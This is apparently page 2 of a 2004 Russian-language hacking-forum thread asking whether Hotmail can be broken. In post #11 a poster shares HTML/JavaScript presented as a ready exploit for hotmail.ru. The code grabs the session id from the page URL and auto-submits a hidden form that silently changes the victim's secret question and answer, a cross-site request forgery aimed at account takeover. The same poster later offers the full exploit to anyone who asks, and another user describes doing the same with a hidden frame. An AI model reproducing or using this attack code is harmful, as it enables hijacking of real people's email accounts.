HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
Перезагрузить страницу Ломается ли хотмайл?
   
Ответ
Страница 2 из 2 < 1 2
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 16.10.2004, 19:23
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
Да это развод, только явно не вас. Есть 2-е формы секретный вопрос и секретный ответ... Есть форма настроек данных и есть поле маил. На все эти формы пароль не требуется
Под почтовый клиент, естественно js может и не пахать(например в бате), поэтому придется крепить html'ку. Это конечно пока толька идеи, но мне кажется что ид-ешник получится вытащить из хистори(так как в почтовом клиенте больше ее вы тащить не откуда). Для особо не верущих этот код:

&lt;html&gt;
<script&gt;
var stroka=location+'#';
var sid=stroka.substr(98,32);

&lt;/script&gt;
&lt;form &nbsp; method=&quot;POST&quot; name=&quot;forma&quot;&gt;
&nbsp; &nbsp;&lt;INPUT type=&quot;hidden&quot; name=&quot;session_id&quot;&gt;
&nbsp; &nbsp;&lt;INPUT type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;cp_msg&quot;&gt;
&nbsp; &nbsp;&lt;INPUT type=&quot;hidden&quot; value=&quot;1&quot; name=&quot;__post&quot;&gt;
&nbsp; &nbsp;&lt;INPUT type=&quot;hidden&quot; name=&quot;cp_quest&quot; value=&quot;Ни рыба, ни мясо?и не курица тоже&quot;&gt;
&nbsp; &nbsp;&lt;INPUT type=&quot;hidden&quot; name=&quot;cp_answ&quot; &nbsp;value=&quot;321123&quot;&gt;
&nbsp; &nbsp;&lt;INPUT type=&quot;hidden&quot; method=&quot;POST&quot; value=&quot;Внести изменения&quot;&gt;
&nbsp;&lt;/form&gt;
<script&gt;
forma.action=&quot;http://www4.nm.ru/users/chpass.dhtml...id=&quot;+sid;
forma.session_id.value=sid;
document.forma.submit()
&lt;/script&gt;
&lt;/html&gt;

Этот js меняет лишь секретный вопрос и ответ...
з.ы. Скрипт работает только в прикрепленном файле с именем &quot;Ready exploit for hotmail.ru.html&quot;. Сами понимаите измените имя фаила, изменится локатион. Скрипт работает только вод веб-интерфейсом

Это так сказать тестовая версия За полной обращайтесь в фсб)
 
Ответить с цитированием

  #12  
Старый 17.10.2004, 17:19
Technocrat
Новичок
Регистрация: 09.10.2004
Сообщений: 2
С нами: 11360357

Репутация: 0
По умолчанию
странно, может багу пофиксили уже, но месяц назад просто скрытым фреймом мне удалось сменить секретный вопрос и ответ на праре ящиков...
 
Ответить с цитированием

  #13  
Старый 17.10.2004, 19:49
salop
Новичок
Регистрация: 10.10.2004
Сообщений: 8
С нами: 11358788

Репутация: 0
По умолчанию
Парень лол , разговор ващето идт о hotmail.com гыгы
 
Ответить с цитированием

  #14  
Старый 18.10.2004, 14:12
Technocrat
Новичок
Регистрация: 09.10.2004
Сообщений: 2
С нами: 11360357

Репутация: 0
По умолчанию
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (salop @ октября 17 2004,19:49)</td></tr><tr><td id="QUOTE">Парень лол , разговор ващето идт о hotmail.com гыгы[/QUOTE]<span id='postcolor'>
мдя... если про .com речь, то имхо оч. сложно... SSL какникак... да и фиксят поди всё вовремя
 
Ответить с цитированием

  #15  
Старый 18.10.2004, 22:48
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (salop @ октября 17 2004,19:49)</td></tr><tr><td id="QUOTE">Парень лол , разговор ващето идт о hotmail.com гыгы[/QUOTE]<span id='postcolor'>
Бля не заметил (Во что пиво с людьми делает) НУ и пох.... короче если кому експлойт под хотмеил.РУ нужон, стучите
 
Ответить с цитированием

  #16  
Старый 19.10.2004, 00:21
De1eT
Постоянный
Регистрация: 12.08.2004
Сообщений: 447
С нами: 11444006

Репутация: 279
По умолчанию
Тут значит разводят флейм )))Круто ))я попал на пастбище
 
Ответить с цитированием
Ответ
Страница 2 из 2 < 1 2



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.